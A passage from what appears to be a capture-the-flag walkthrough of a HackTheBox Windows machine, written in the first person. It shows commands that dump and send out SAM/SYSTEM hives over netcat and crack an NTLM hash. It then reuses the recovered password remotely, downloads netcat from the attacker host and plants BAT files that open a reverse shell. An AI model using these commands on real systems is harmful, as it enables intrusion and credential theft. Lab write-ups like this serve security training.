wanted to join the domain, I also had to create a domain account. If the domain account name conflicted with the local account—say I created another account called john—the domain name would be appended so the local computer could distinguish them.&lt;/p&gt;&#10;&lt;p&gt;What I knew so far was that the target had PSWA enabled and the current user could switch users. So I could dump SAM and SYSTEM, crack the hashes, and try credential reuse. If things lined up, I might be able to get straight into the domain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM&lt;span class="se"&gt;\S&lt;/span&gt;YSTEM SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg save HKLM&lt;span class="se"&gt;\S&lt;/span&gt;AM SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I chose to transfer them with nc here. SMB seemed to error out.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;10000&lt;/span&gt; &amp;gt; SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe -n 10.10.16.14 &lt;span class="m"&gt;10000&lt;/span&gt; &amp;lt; SamBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -l -p &lt;span class="m"&gt;10000&lt;/span&gt; &amp;gt; SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe -n 10.10.16.14 &lt;span class="m"&gt;10000&lt;/span&gt; &amp;lt; SystemBkup.hiv&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; /usr/share/doc/python3-impacket/examples/secretsdump.py -sam SamBkup.hiv -system SystemBkup.hiv LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0810.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0811.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator and Natasha use the same password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Otherwise, hashcat can also be used&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;a29f7623fd11550def0192de9246f46b&amp;#34;&lt;/span&gt; &amp;gt; hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m &lt;span class="m"&gt;1000&lt;/span&gt; hash.txt /usr/share/wordlists/rockyou.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0812.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t get in from the outside. Internally, of course, I could. The current target was ATSSERVER. I was already SYSTEM on DC01, so there was nothing else I needed there. PSWA presumably didn&amp;rsquo;t allow access to ATSSERVER either, which meant it was only reachable internally. I tried using several local accounts for remote access.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ConvertTo-SecureString &lt;span class="s2"&gt;&amp;#34;Password@123&amp;#34;&lt;/span&gt; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ACUTE\user&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; whoami &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of them worked. I checked another write-up and had no idea where the author had found the user—it simply appeared. I went back to the beginning and noticed the username awallace, an abbreviation of the first user&amp;rsquo;s name. I never would have thought of that. I checked more write-ups to see what their reasoning had been.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0813.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;And I really did find the answer: any domain member account has permission to query this information.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# List available PowerShell commands&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -command &lt;span class="o"&gt;{&lt;/span&gt;get-command&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# List domain users&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;net user /domain&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt;net user awallace /domain&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started trying these accounts. As it happened, awallace&amp;rsquo;s password was Password@123.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ConvertTo-SecureString &lt;span class="s2"&gt;&amp;#34;Password@123&amp;#34;&lt;/span&gt; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; New-Object System.Management.Automation.PSCredential&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ACUTE\awallace&amp;#34;&lt;/span&gt;, &lt;span class="nv"&gt;$pass&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; whoami &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Everything after this was too difficult, so all I could do was reproduce it step by step. Finding what was on the target computer would take a lot of time, and that was the next step. Before that, I tried to get a reverse shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; C:&lt;span class="se"&gt;\W&lt;/span&gt;indows&lt;span class="se"&gt;\S&lt;/span&gt;ystem32&lt;span class="se"&gt;\W&lt;/span&gt;indowsPowerShell&lt;span class="se"&gt;\v&lt;/span&gt;1.0&lt;span class="se"&gt;\p&lt;/span&gt;owershell.exe iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0814.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That didn&amp;rsquo;t work. I went back to following the write-up and used this to browse the files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0815.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I read the file inside.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\keepmeon.bat&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REM This is run every &lt;span class="m"&gt;5&lt;/span&gt; minutes. For Lois use ONLY&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@echo off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; /R %%x in &lt;span class="o"&gt;(&lt;/span&gt;*.bat&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; not &lt;span class="s2"&gt;&amp;#34;%%x&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;%~0&amp;#34;&lt;/span&gt; call &lt;span class="s2"&gt;&amp;#34;%%x&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This script ran every five minutes and was for Lois only.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/R recursively searches all paths&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*.bat matches all batch files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%%x iterates over and stores each discovered path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%~0 is the current script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If %%x is not %~0 &lt;span class="o"&gt;(&lt;/span&gt;the current script&lt;span class="o"&gt;)&lt;/span&gt;, call executes it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;And it ran as Lois. Did that mean I only needed to drop a BAT file containing a reverse shell? I&amp;rsquo;d already imported the credential, so I checked which commands were available.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -command &lt;span class="o"&gt;{&lt;/span&gt;Get-command&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0816.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t use tools like curl. I couldn&amp;rsquo;t tell whether this machine could reach mine. If it could, I thought I could just pop a reverse shell directly. I tried writing a BAT file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s2"&gt;&amp;#34;C:\program files\keepmeon\1.bat&amp;#34;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;curl http://10.10.16.14:33333/ncexe/netcat.exe -o &amp;#34;C:\program files\keepmeon\netcat.exe&amp;#34;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s2"&gt;&amp;#34;\program files\keepmeon\&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;/span&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt;&lt;span class="s2"&gt; -ScriptBlock { cat &amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\p&lt;/span&gt;rogram files&lt;span class="se"&gt;\k&lt;/span&gt;eepmeon&lt;span class="se"&gt;\1&lt;/span&gt;.bat&lt;span class="s2"&gt;&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0817.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. I still needed the reverse shell, though, so I wrote a 2.bat as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s2"&gt;&amp;#34;C:\program files\keepmeon\2.bat&amp;#34;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;C:\program files\keepmeon\netcat.exe 10.10.16.14 8888 -e cmd&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s2"&gt;&amp;#34;\program files\keepmeon\&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;/span&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt;&lt;span class="s2"&gt; -ScriptBlock { cat &amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\p&lt;/span&gt;rogram files&lt;span class="se"&gt;\k&lt;/span&gt;eepmeon&lt;span class="se"&gt;\2&lt;/span&gt;.bat&lt;span class="s2"&gt;&amp;#34; 